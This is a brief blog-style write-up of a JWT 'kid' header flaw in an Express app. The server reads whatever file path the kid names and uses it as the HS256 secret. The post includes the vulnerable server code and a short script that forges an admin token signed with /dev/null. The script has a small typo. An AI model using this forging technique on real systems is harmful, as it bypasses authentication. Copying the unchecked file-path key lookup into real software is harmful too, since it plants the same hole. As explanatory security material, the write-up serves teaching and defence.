I saw this vulnerable code in tweet.
we need to access /protected
endpoint using req.name
as admin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const fs = require('fs');
var jwt = require('jsonwebtoken');
const cookieParser = require('cookie-parser');
const app = require('express')();
app.use(cookieParser());
app.use((req, res, next) => {
const token = req.cookies.session;
if (!token) return res.sendStatus(403);
jwt.verify(token,
(header, cb) => {
cb(null, fs.readFileSync(header.kid));
}, { algorithm: 'HS256' }, (err, data) => {
if (err) return res. sendStatus (403);
req.name = data.name;
return next();
}
);
});
app.get('/protected', (req, res) => {
if (req.name !=='admin') return res.sendStatus(401);
res.send('You are the admin!');
});
app.listen(80);
In the code above, Verifying the token with HS256 algorithm which is uses secret key to signing. and there is header.kid (KeyID)
, optional header parameter, which is used to sign it.
And then it goes to readFileSync()
argument so they use this as secret key
.
The problem is that there is no verification of header.kid
, so if any file name existing in the target system is entered, we can sign the token with arbitrary key. (ex /etc/passwd
, node_modules/jsonwebtoken/LICENSE
, /dev/null
etc…)
And if the data.name
is manipulated with admin
, /protected
endpoint become accessible!
You can create a arbitrary token as shown below.
1
2
3
4
5
6
7
8
const fs = require('fs');
var jwt = require('jsonwebtoken');
const key = fs.readFileSynce('/dev/null');
const session = jwt.sign({name: 'admin'}, key, {
keyid: '/dev/null',
algorithm: 'HS256',
});
Comments powered by Disqus.